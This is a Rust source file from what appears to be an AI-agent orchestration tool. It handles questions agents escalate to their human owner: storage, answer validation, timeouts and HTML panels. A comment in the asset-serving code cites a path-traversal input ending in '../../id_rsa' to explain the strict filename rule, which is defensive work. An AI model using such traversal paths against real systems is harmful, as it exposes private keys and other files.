magi/ask.rs
1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`] and now [`Question::answer_timeout`] - when a
45/// new field is added that a much older magi has no notion of at all.
46///
47/// The web UI is written against this shape by hand - there is no shared schema
48/// between the front end and this struct - so a field that changes meaning
49/// without a bump here is a UI that lies silently.
50///
51/// A file is refused only when its own `schema` is *greater* than this one -
52/// see [`read_path`] - never merely different: `#[serde(default)]` on every
53/// field added since 1 is what makes an older file's absence of `thread` mean
54/// "no conversation yet" rather than "unreadable", and a strict equality check
55/// would turn every bump into an upgrade that breaks reading yesterday's
56/// question files.
57pub const SCHEMA: u32 = 3;
58
59/// How often the wait re-reads the question file.
60///
61/// Three seconds: the answer comes from a human on a phone, so the difference
62/// between three seconds and three hundred milliseconds is invisible to them,
63/// while a tight loop would `stat` and parse a file thousands of times per
64/// minute for a wait that routinely lasts hours. Nothing is held between polls -
65/// no lock, no open handle - because `magi web` and `magi answer` write the
66/// same file from other processes.
67const POLL: Duration = Duration::from_secs(3);
68
69/// How long an agent's reply may go unnoticed before it earns its own
70/// notification.
71///
72/// An operator reading the card when the agent replies does not need paging
73/// again for a conversation they are already in; one who walked away still
74/// needs the tap on the shoulder. Five minutes is a judgement call about that
75/// line, not a policy a repository has an opinion about, which is why it lives
76/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
77/// whether they are still looking at the phone, and neither can this build, so
78/// there is nothing for a per-repository setting to be *right* about.
79const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
80
81/// How long the operator's notification command may run before it is killed.
82///
83/// A webhook that hangs must not hang the run. Twenty seconds is long enough
84/// for a slow HTTP round trip and short enough that the operator still gets the
85/// question filed and the run parked in a bounded time.
86const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
87
88/// The longest a single `magi ask` invocation may block on the owner before
89/// it hands the wait back to whatever is running it, rather than to
90/// [`Question::abandon`].
91///
92/// `answer_timeout` defaults to a day, and that is a deadline for the
93/// *question*, not a budget the calling process is free to spend all at
94/// once: an agent CLI's own shell tool kills a command that runs much longer
95/// than this, and the child it kills is `magi ask` itself - the one thing
96/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
97/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
98/// out, and the seat's own summary said it had backgrounded the blocking
99/// `magi ask` and would "continue once the owner replies" - except nothing
100/// was left to notice the reply. The seat exited `completed`, the
101/// backgrounded child died with it, and the owner's eventual answer on the
102/// web UI had nobody left to read it.
103///
104/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
105/// and returns [`Wait::Pending`] if nothing happened, which is not a
106/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
107/// process the tool timeout has never seen. Four minutes leaves a ten-minute
108/// tool budget room for the CLI's own startup and the notification's round
109/// trip, while staying long enough that an owner who answers within the hour
110/// is not making an agent loop through fifteen slices to hear about it.
111const WAIT_SLICE: Duration = Duration::from_secs(240);
112
113/// Environment variable naming the base URL of the web UI, for `{url}`.
114///
115/// A run cannot discover this by itself: `magi web` is a different process,
116/// usually started by hand and often on a different machine on the tailnet, and
117/// the address it settled on (Tailscale IP, port, or the fallback it warned
118/// about) exists only in that process. So the operator names it once, in the
119/// environment `magi serve` runs in - `magi web --open` prints exactly the
120/// string to use on stdout. Unset means `{url}` expands to nothing rather than
121/// to a guess: a notification carrying a link to an address nothing is
122/// listening on is worse than one carrying no link at all.
123pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
124
125/// Largest panel magi will store, html plus assets.
126///
127/// Checked as a total, before a single byte is written, because the failure
128/// this prevents is not a full disk but a half-copied panel: an agent that
129/// points at a 200 MB screen recording must get one clean error, not a
130/// directory holding the three small files that fitted before the copy died.
131/// Eight mebibytes is far more than a diff, a table and a handful of images
132/// need, and small enough that a phone on a hotel link still renders it.
133pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
134
135/// Suffix of the directory holding one question's panel.
136///
137/// A sibling of `<id>.json` rather than a subdirectory of the store, so
138/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
139/// see it, and so a panel travels with the question it belongs to.
140const PANEL_DIR: &str = ".panel";
141
142/// The panel's entry point inside its directory.
143const PANEL_HTML: &str = "index.html";
144
145/// Scratch directory a panel is assembled in before it is swapped into place.
146const PANEL_TMP: &str = ".panel.tmp";
147
148/// The one asset filename rule, applied on write **and** on read.
149///
150/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
151/// containing `..`. The pattern is this narrow because the name arrives from
152/// two untrusted directions and is then joined onto a path: an agent naming
153/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
154/// character that could change what the join means is outside the set - `/`
155/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
156/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
157/// refused, which matters because on Windows `Path::join` with an absolute
158/// path *discards the whole prefix* and would serve any file on the disk.
159/// `..` is refused anywhere rather than only at the front so the rule reads
160/// the same as the sentence "no traversal" to anyone auditing it.
161///
162/// The length bound keeps a name inside every filesystem's limit, so a panel
163/// that stores cannot fail to store on the operator's other machine.
164pub fn valid_asset_name(name: &str) -> bool {
165 if name.is_empty() || name.len() > 64 || name.contains("..") {
166 return false;
167 }
168 let mut chars = name.chars();
169 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
170 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
171}
172
173/// Where a question is in its life.
174#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
175#[serde(rename_all = "lowercase")]
176pub enum QuestionStatus {
177 /// Asked, and waiting for the owner. A run is parked behind it.
178 Open,
179 /// The owner decided. [`Question::answer`] holds what they said.
180 Answered,
181 /// Nobody answered in time, or the question outlived the run that asked.
182 /// Kept rather than deleted: what was asked and never answered is the
183 /// evidence that the operator was the bottleneck.
184 Abandoned,
185}
186
187impl QuestionStatus {
188 /// Is a run still parked behind this question?
189 pub fn open(self) -> bool {
190 matches!(self, Self::Open)
191 }
192
193 /// Lowercase name, as it appears on disk and in the API.
194 pub fn as_str(self) -> &'static str {
195 match self {
196 Self::Open => "open",
197 Self::Answered => "answered",
198 Self::Abandoned => "abandoned",
199 }
200 }
201}
202
203/// What the owner said.
204///
205/// Two shapes rather than one string because the question decides which is
206/// admissible, and [`Question::answer`] enforces it. A phone that posts
207/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
208/// front end, and it is caught here rather than handed to an agent as fact.
209#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
210#[serde(rename_all = "lowercase")]
211pub enum Answer {
212 /// One of the offered choices, verbatim.
213 Choice(String),
214 /// Free text, for a question that offered no choices.
215 Text(String),
216}
217
218/// Who wrote one turn of a question's conversation.
219///
220/// Two values, not three: [`Question::thread`] is the record of a single
221/// question stopping and resuming, and the agent that resumes it is always
222/// the one that asked - a fresh consultant would have to be caught up on
223/// everything the first agent already knows, which is the round trip this
224/// module exists to avoid. The names and the wire spelling deliberately match
225/// [`crate::chat::Who`], which this module does not depend on: the two are the
226/// same idea in two products, and giving them the same shape is what lets the
227/// phone render both with one component.
228#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
229#[serde(rename_all = "lowercase")]
230pub enum Who {
231 /// The person the agent asked.
232 Operator,
233 /// The agent that asked, replying to a question of its own rather than
234 /// answering.
235 Agent,
236}
237
238/// One turn in a question's back-and-forth, after the question itself was
239/// asked.
240///
241/// The question's own `summary`/`detail`/`choices` already carry the agent's
242/// opening move, so a turn only exists from the moment the owner talks back -
243/// [`Question::thread`] starts empty and stays that way for the overwhelming
244/// majority of questions, which are answered on the first read.
245#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
246#[serde(deny_unknown_fields)]
247pub struct Turn {
248 /// Who said it.
249 pub who: Who,
250 /// What they said.
251 pub body: String,
252 /// When they said it.
253 pub at: Timestamp,
254}
255
256/// One decision magi will not take on the owner's behalf.
257#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
258#[serde(deny_unknown_fields)]
259pub struct Question {
260 /// On-disk format version.
261 pub schema: u32,
262 /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
263 /// task's, so the operator can paste any of them at any prefix argument.
264 pub id: String,
265 /// Run that is parked behind this question.
266 pub run: String,
267 /// Graph node the asking agent was working in, e.g. `implement`.
268 pub node: String,
269 /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
270 /// this" decides whether the answer unblocks one candidate or all of them.
271 pub seat: String,
272 /// One line: the question itself. This is what a notification carries and
273 /// what the phone shows above the answer controls.
274 pub summary: String,
275 /// The reasoning behind the question, as markdown. May be long, may be
276 /// empty. Rendered as text nodes by the UI, never as markup.
277 pub detail: String,
278 /// The admissible answers. **Empty means free text** - that one condition
279 /// is the whole difference between the two kinds of question, on disk, in
280 /// the UI, and in [`Question::answer`]'s validation.
281 pub choices: Vec<String>,
282 /// Does this question have an agent-authored HTML panel beside it?
283 ///
284 /// Serialised with a default so a question written by an older magi - or
285 /// by hand - still deserialises rather than failing the whole store, which
286 /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
287 /// open question the operator was looking for.
288 #[serde(default)]
289 pub panel: bool,
290 /// Files copied in beside the panel's html, by base name, sorted.
291 ///
292 /// The list exists so a reader knows what a panel is made of without
293 /// walking the directory, and every entry satisfies [`valid_asset_name`].
294 /// Sorted because it is compared - a question re-asked with the same
295 /// assets in a different argument order is not a different question.
296 #[serde(default)]
297 pub assets: Vec<String>,
298 /// Current state.
299 pub status: QuestionStatus,
300 /// When the agent asked.
301 pub asked_at: Timestamp,
302 /// When the owner answered, if they did.
303 pub answered_at: Option<Timestamp>,
304 /// What they said.
305 pub answer: Option<Answer>,
306 /// Everything said after the question itself, oldest first: the owner
307 /// asking back, the agent replying, as many times as it takes before an
308 /// [`Answer`] lands.
309 ///
310 /// `#[serde(default)]` so a question written before this field existed -
311 /// every question on disk before this build - still deserialises as one
312 /// with no conversation yet, rather than failing [`Questions::list`]'s
313 /// read and quietly hiding an open question from the operator.
314 #[serde(default)]
315 pub thread: Vec<Turn>,
316 /// The `answer_timeout`, in seconds, that was in force when this question
317 /// was first asked. `0` means unrecorded - a question written before this
318 /// field existed, or one filed by a flow (land's merge-approval gate)
319 /// that never sets it because it never resumes a sliced wait.
320 ///
321 /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
322 /// or the config default) is decided by the caller, after the question
323 /// already exists - so it starts at `0` here and whoever files a fresh
324 /// question sets it once, the same way [`Question::panel`] is set by
325 /// [`Questions::put_panel`] rather than by the constructor. It is never
326 /// touched again: `magi ask --wait` reads it as the one deadline it is
327 /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
328 /// on a later call can never quietly extend or shrink the budget the
329 /// question was actually asked with.
330 #[serde(default)]
331 pub answer_timeout: u64,
332}
333
334impl Question {
335 /// Ask something. Persist it with [`Questions::put`], or hand it to
336 /// [`ask_and_wait`], which files it and waits.
337 pub fn new(
338 run: String,
339 node: String,
340 seat: String,
341 summary: String,
342 detail: String,
343 choices: Vec<String>,
344 ) -> Self {
345 Self {
346 schema: SCHEMA,
347 id: new_id(),
348 run,
349 node,
350 seat,
351 summary,
352 detail,
353 choices,
354 panel: false,
355 assets: Vec::new(),
356 status: QuestionStatus::Open,
357 asked_at: Timestamp::now(),
358 answered_at: None,
359 answer: None,
360 thread: Vec::new(),
361 answer_timeout: 0,
362 }
363 }
364
365 /// Short form used in reports and on the phone, matching a run's short id.
366 pub fn short(&self) -> &str {
367 short(&self.id)
368 }
369
370 /// Does this question want free text rather than one of a set?
371 pub fn free_text(&self) -> bool {
372 self.choices.is_empty()
373 }
374
375 /// Record an answer. Rejects a choice the question does not offer, free
376 /// text on a multiple-choice question, an empty answer, and a second
377 /// answer.
378 ///
379 /// Every rejection here is a case where accepting would put a fabrication
380 /// in front of an agent as if the owner had said it. The messages are
381 /// distinct because the caller is a web handler that shows them verbatim,
382 /// and "that is not one of the choices" and "this question is multiple
383 /// choice" are different mistakes with different fixes.
384 pub fn answer(&mut self, answer: Answer) -> Result<()> {
385 match self.status {
386 QuestionStatus::Answered => bail!(
387 "question {} was already answered; the run has moved on and a \
388 second answer would be a decision nobody acted on",
389 self.short()
390 ),
391 QuestionStatus::Abandoned => bail!(
392 "question {} was abandoned and the run behind it is gone",
393 self.short()
394 ),
395 QuestionStatus::Open => {}
396 }
397 let body = match &answer {
398 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
399 };
400 if body.trim().is_empty() {
401 bail!(
402 "question {} needs an answer; an empty one tells the agent \
403 nothing and it would guess anyway",
404 self.short()
405 );
406 }
407 match &answer {
408 Answer::Choice(c) if self.free_text() => bail!(
409 "question {} asks for free text, so `{c}` cannot be a choice \
410 it offered",
411 self.short()
412 ),
413 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
414 "`{c}` is not one of the choices question {} offers: {}",
415 self.short(),
416 self.choices.join(", ")
417 ),
418 Answer::Text(_) if !self.free_text() => bail!(
419 "question {} is multiple choice; answer with one of: {}",
420 self.short(),
421 self.choices.join(", ")
422 ),
423 _ => {}
424 }
425 self.answered_at = Some(Timestamp::now());
426 self.answer = Some(answer);
427 self.status = QuestionStatus::Answered;
428 Ok(())
429 }
430
431 /// Give up on an answer, keeping the record of what was asked.
432 ///
433 /// An answered question is left alone, which matters at exactly one moment:
434 /// the owner answering in the same second the wait's deadline passes. The
435 /// answer is the thing worth keeping there, and it has already been written
436 /// by another process.
437 ///
438 /// The reason is appended to [`Question::detail`] because the on-disk shape
439 /// is a contract with the front end and has no field of its own for it -
440 /// and "asked at 3am, nobody home for a day" belongs with the question, not
441 /// only in a log the operator will never open.
442 pub fn abandon(&mut self, why: impl Into<String>) {
443 if !self.status.open() {
444 return;
445 }
446 self.status = QuestionStatus::Abandoned;
447 let why = why.into();
448 let why = why.trim();
449 if why.is_empty() {
450 return;
451 }
452 if !self.detail.is_empty() {
453 self.detail.push('\n');
454 }
455 self.detail.push_str("\n_Abandoned: ");
456 self.detail.push_str(why);
457 self.detail.push_str("._\n");
458 }
459
460 /// The answer as the asking agent should read it.
461 ///
462 /// One string for both kinds of question: the agent's prompt says "the
463 /// owner answered:", and a chosen option and a typed sentence are the same
464 /// thing at that point. `None` while the question is open or abandoned, so
465 /// a caller cannot mistake silence for a decision.
466 pub fn resolution(&self) -> Option<String> {
467 match (self.status, &self.answer) {
468 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
469 Some(a.clone())
470 }
471 _ => None,
472 }
473 }
474
475 /// The owner speaking back without answering: a request for context, a
476 /// clarifying question, anything short of a decision.
477 ///
478 /// Rejects the same two states [`Question::answer`] does, and for the same
479 /// reason - a question with a recorded [`Answer`] or an abandoned one has
480 /// no run left listening for a reply - and an empty turn, which would tell
481 /// the agent nothing it didn't already know. Never changes `status`: the
482 /// question stays [`QuestionStatus::Open`], because the owner did not
483 /// decide anything, they only spoke, and `count_open`/`open_for` must keep
484 /// counting this as the one question it always was.
485 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
486 match self.status {
487 QuestionStatus::Answered => bail!(
488 "question {} was already answered; there is nothing left to \
489 discuss",
490 self.short()
491 ),
492 QuestionStatus::Abandoned => bail!(
493 "question {} was abandoned and the run behind it is gone",
494 self.short()
495 ),
496 QuestionStatus::Open => {}
497 }
498 let body = body.into();
499 if body.trim().is_empty() {
500 bail!("a message to question {} cannot be empty", self.short());
501 }
502 self.thread.push(Turn {
503 who: Who::Operator,
504 body,
505 at: Timestamp::now(),
506 });
507 Ok(())
508 }
509
510 /// The agent replying to the owner's last word, in place of an answer:
511 /// same question, same id, another round.
512 ///
513 /// `choices` replaces [`Question::choices`] wholesale rather than merging,
514 /// on the same reasoning [`Questions::put_panel`] replaces a panel
515 /// wholesale: the whole point of asking back is that what should be
516 /// offered next may have changed, and a caller that wanted the old set
517 /// unchanged can simply pass it again. An empty `Vec` means free text,
518 /// exactly as it does when the question is first asked.
519 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
520 match self.status {
521 QuestionStatus::Answered => bail!(
522 "question {} was already answered; replying now would not \
523 reach anyone",
524 self.short()
525 ),
526 QuestionStatus::Abandoned => bail!(
527 "question {} was abandoned and the run behind it is gone",
528 self.short()
529 ),
530 QuestionStatus::Open => {}
531 }
532 let body = body.into();
533 if body.trim().is_empty() {
534 bail!("a reply to question {} cannot be empty", self.short());
535 }
536 self.choices = choices;
537 self.thread.push(Turn {
538 who: Who::Agent,
539 body,
540 at: Timestamp::now(),
541 });
542 Ok(())
543 }
544
545 /// Is the ball in the agent's court?
546 ///
547 /// True from the moment the owner speaks back until the agent's next
548 /// [`Question::reply`], and never on a fresh or an already-settled
549 /// question. [`QuestionStatus`] does not move for either side of this -
550 /// see [`Question::say`] - so this is the one place that state is
551 /// readable at all, which is why [`crate::web::QuestionView`] carries it
552 /// separately rather than asking the phone to infer it from the thread.
553 pub fn waiting_on_agent(&self) -> bool {
554 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
555 }
556
557 /// Should a notification go out right now?
558 ///
559 /// Always, for the very first ask: [`Question::thread`] is still empty, so
560 /// there is no earlier operator turn to have already caught anyone's
561 /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
562 /// since the owner's own last word - see that constant for why the window
563 /// exists at all and why its length is not configurable.
564 fn should_notify(&self, now: Timestamp) -> bool {
565 let Some(last) = self
566 .thread
567 .iter()
568 .rev()
569 .find(|t| t.who == Who::Operator)
570 .map(|t| t.at)
571 else {
572 return true;
573 };
574 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
575 }
576}
577
578/// A question store on disk.
579#[derive(Debug, Clone)]
580pub struct Questions {
581 root: PathBuf,
582}
583
584impl Questions {
585 /// The operator's questions, `<home>/questions`.
586 pub fn open() -> Self {
587 Self::at(crate::run::home().join("questions"))
588 }
589
590 /// A store at an explicit root. Tests use this, which is why none of them
591 /// need the operator's real home.
592 pub fn at(root: PathBuf) -> Self {
593 Self { root }
594 }
595
596 /// Directory holding the question files.
597 pub fn root(&self) -> &Path {
598 &self.root
599 }
600
601 /// Path for one question id.
602 pub fn path_of(&self, id: &str) -> PathBuf {
603 self.root.join(format!("{id}.json"))
604 }
605
606 /// Directory holding one question's panel, `<root>/<id>.panel`.
607 pub fn panel_dir(&self, id: &str) -> PathBuf {
608 self.root.join(format!("{id}{PANEL_DIR}"))
609 }
610
611 /// Store a panel: the html, plus `assets` copied in under their base
612 /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
613 /// question, or the record on disk will deny having a panel that exists.
614 ///
615 /// The assets are **copied, not referenced**. An agent authors its panel
616 /// inside a candidate worktree and points at files there, and `magi fold`
617 /// deletes those worktrees; a question is the permanent record of a
618 /// decision the owner took, so a panel that referenced its own images
619 /// would render as broken boxes exactly when someone went back to ask why
620 /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
621 /// does, and so does the [`std::fs::metadata`] the size is measured with,
622 /// so the bytes counted and the bytes written are the same target file's -
623 /// which is the intent: storing a link would leave the panel pointing at
624 /// the worktree again, one indirection further away.
625 ///
626 /// Everything that can be rejected is rejected before the first byte is
627 /// written, and the panel is then assembled in a scratch directory and
628 /// swapped in. So a refusal leaves the previous panel intact, and a
629 /// success replaces it *wholesale* rather than merging: a re-asked
630 /// question showing one attempt's diff next to another attempt's table
631 /// would be a panel neither agent ever wrote.
632 ///
633 /// [`put`]: Questions::put
634 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
635 if !valid_asset_name(&q.id) {
636 bail!(
637 "question id `{}` is not a name magi will build a panel path from",
638 q.id
639 );
640 }
641 if html.trim().is_empty() {
642 bail!(
643 "question {} was handed an empty panel; an empty frame reads to \
644 the owner as \"the agent had nothing to say\", which is a lie",
645 q.short()
646 );
647 }
648
649 // Names, then sizes, then writing - in that order, so nothing below
650 // can leave a partial panel on disk.
651 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
652 for src in assets {
653 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
654 if !valid_asset_name(name) {
655 bail!(
656 "panel asset `{}` cannot be stored: a panel file name must \
657 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
658 src.display()
659 );
660 }
661 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
662 bail!(
663 "two panel assets are both named `{name}` - {} and {} - and \
664 the panel can only show one of them; rename one at the source",
665 first.display(),
666 src.display()
667 );
668 }
669 named.push((name.to_owned(), src.as_path()));
670 }
671
672 let mut total = html.len() as u64;
673 for (_, src) in &named {
674 let meta = std::fs::metadata(src)
675 .with_context(|| format!("stat panel asset {}", src.display()))?;
676 if !meta.is_file() {
677 bail!(
678 "panel asset `{}` is not a file; a panel is html plus files \
679 copied beside it",
680 src.display()
681 );
682 }
683 total = total.saturating_add(meta.len());
684 }
685 if total > PANEL_MAX_BYTES {
686 bail!(
687 "panel for question {} is {total} bytes, over magi's cap of \
688 {PANEL_MAX_BYTES} bytes; nothing was written",
689 q.short()
690 );
691 }
692
693 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
694 let dir = self.panel_dir(&q.id);
695 std::fs::create_dir_all(&self.root)
696 .with_context(|| format!("create {}", self.root.display()))?;
697 clear_dir(&tmp)?;
698 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
699 if let Err(e) = fill_panel(&tmp, html, &named) {
700 // A copy that dies halfway must not become the panel, and must not
701 // leave scratch behind for the next call to inherit.
702 let _ = std::fs::remove_dir_all(&tmp);
703 return Err(e);
704 }
705 clear_dir(&dir)?;
706 std::fs::rename(&tmp, &dir)
707 .with_context(|| format!("move panel into {}", dir.display()))?;
708
709 q.panel = true;
710 q.assets = named.into_iter().map(|(n, _)| n).collect();
711 q.assets.sort_unstable();
712 Ok(())
713 }
714
715 /// The panel's html, or `None` when the question has no panel.
716 ///
717 /// `None` rather than an error for a missing panel because the caller is a
718 /// web handler whose answer is 404 either way, and an unreadable panel is
719 /// not a reason to fail the question it belongs to.
720 pub fn panel_html(&self, id: &str) -> Option<String> {
721 if !valid_asset_name(id) {
722 return None;
723 }
724 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
725 }
726
727 /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
728 /// not a name a panel file can have".
729 ///
730 /// Rejects a name failing [`valid_asset_name`] **before touching the
731 /// filesystem**, which is the whole point of the second check: the name
732 /// arrives from a URL, the directory is on disk where any process could
733 /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
734 /// operating system would resolve perfectly happily. The two callers'
735 /// distinct outcomes - 400 for a name, 404 for a file - are why this is
736 /// `Result<Option<_>>` rather than one flattened `Option`.
737 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
738 if !valid_asset_name(name) {
739 bail!(
740 "`{name}` is not a panel file name; it must match \
741 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
742 );
743 }
744 if !valid_asset_name(id) {
745 return Ok(None);
746 }
747 let dir = self.panel_dir(id);
748 if !dir.is_dir() {
749 return Ok(None);
750 }
751 let path = dir.join(name);
752 match std::fs::read(&path) {
753 Ok(bytes) => Ok(Some(bytes)),
754 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
755 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
756 }
757 }
758
759 /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
760 ///
761 /// Succeeds when there is nothing to delete, so a caller cleaning up does
762 /// not have to know whether a panel was ever written. The question record
763 /// is not touched: the caller clears `panel` and `assets` and `put`s it,
764 /// in the same order as everywhere else here.
765 ///
766 /// [`put_panel`]: Questions::put_panel
767 pub fn drop_panel(&self, id: &str) -> Result<()> {
768 if !valid_asset_name(id) {
769 bail!("question id `{id}` is not a name magi will build a panel path from");
770 }
771 clear_dir(&self.panel_dir(id))?;
772 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
773 }
774
775 /// Write a question, atomically, so a process killed mid-write leaves the
776 /// previous state readable rather than a truncated file that would strand
777 /// the run waiting on it.
778 pub fn put(&self, q: &mut Question) -> Result<()> {
779 std::fs::create_dir_all(&self.root)
780 .with_context(|| format!("create {}", self.root.display()))?;
781 let body = serde_json::to_string_pretty(q).context("serialize question")?;
782 let path = self.path_of(&q.id);
783 let tmp = path.with_extension("json.tmp");
784 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
785 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
786 Ok(())
787 }
788
789 /// Load a question by id or unambiguous id prefix.
790 pub fn get(&self, id: &str) -> Result<Question> {
791 let resolved = self.resolve_id(id)?;
792 read_path(&self.path_of(&resolved))
793 }
794
795 /// Every question on disk: open first, then newest first.
796 ///
797 /// Open first because that ordering is the product - the list exists to
798 /// show the operator what has stopped, and an answered question is history
799 /// underneath it. Unreadable files are skipped rather than fatal: one
800 /// corrupt question must not take the web UI down, and must certainly not
801 /// hide the open question the operator was looking for.
802 pub fn list(&self) -> Vec<Question> {
803 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
804 .into_iter()
805 .flatten()
806 .flatten()
807 .map(|e| e.path())
808 .filter(|p| p.extension().is_some_and(|x| x == "json"))
809 .filter_map(|p| read_path(&p).ok())
810 .collect();
811 all.sort_unstable_by(|a, b| {
812 let rank = |q: &Question| u8::from(!q.status.open());
813 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
814 });
815 all
816 }
817
818 /// Open questions belonging to one run, newest first.
819 ///
820 /// Used to decide whether a parked run can be resumed: while this is
821 /// non-empty, nothing about the run has changed and no agent should be
822 /// spawned for it.
823 pub fn open_for(&self, run: &str) -> Vec<Question> {
824 self.list()
825 .into_iter()
826 .filter(|q| q.status.open() && q.run == run)
827 .collect()
828 }
829
830 /// Abandon every open question belonging to a run, and report how many.
831 ///
832 /// Called when a run's record is deleted. The agent that asked died with
833 /// the run, so there is nobody left to hand an answer to, and a question
834 /// left open would keep asking the operator for a decision that can no
835 /// longer be delivered - the phone showed exactly that: "auth.rs というファ
836 /// イルが見つかりません" with two buttons, for a run whose directory had
837 /// been gone for two hours.
838 ///
839 /// Abandoned rather than deleted, because [`Question::abandon`] already
840 /// means "this can no longer be answered" and the record of having asked
841 /// is worth keeping. Answered questions are left exactly as they are.
842 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
843 let mut abandoned = 0;
844 for mut q in self.open_for(run) {
845 q.abandon(why);
846 self.put(&mut q)?;
847 abandoned += 1;
848 }
849 Ok(abandoned)
850 }
851
852 /// Abandon a run's open questions once `status` says the run is not
853 /// coming back, worded with what it actually became.
854 ///
855 /// The run-deleted case above and this one are the same fact - nobody is
856 /// left to read an answer - reached by two different doors. This is the
857 /// one for a run that finished on its own: merged, reached `Ready` with
858 /// nothing left to do, failed outright with no established point to
859 /// resume from, or every candidate agreed, with evidence, that nothing
860 /// belonged in the worktree. Those are exactly the statuses
861 /// [`RunStatus::resumable`]
862 /// excludes, and that is the line this draws too - deliberately not
863 /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
864 /// over. Both of those can still be picked back up with the candidates,
865 /// the review round and the seat sessions already on disk, so a question
866 /// asked mid-round may yet get a real answer from a real resume, and
867 /// folding it here would be exactly the mistake this function exists to
868 /// avoid on the other side - answering back into a run that no longer
869 /// exists to read it.
870 ///
871 /// A no-op, not an error, when `status` is still resumable or when there
872 /// was nothing open to begin with - callers reach this from more than one
873 /// place a run can settle, and a second call finding nothing left to
874 /// abandon is the expected case, not a bug.
875 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
876 if status.resumable() {
877 return Ok(0);
878 }
879 let why = format!(
880 "run {run} {}, so nothing is waiting for this answer",
881 status.as_str()
882 );
883 // A post-merge notice is the exception: it is filed *because* the run
884 // merged, and no agent waits on it - it is a to-do for the owner, not
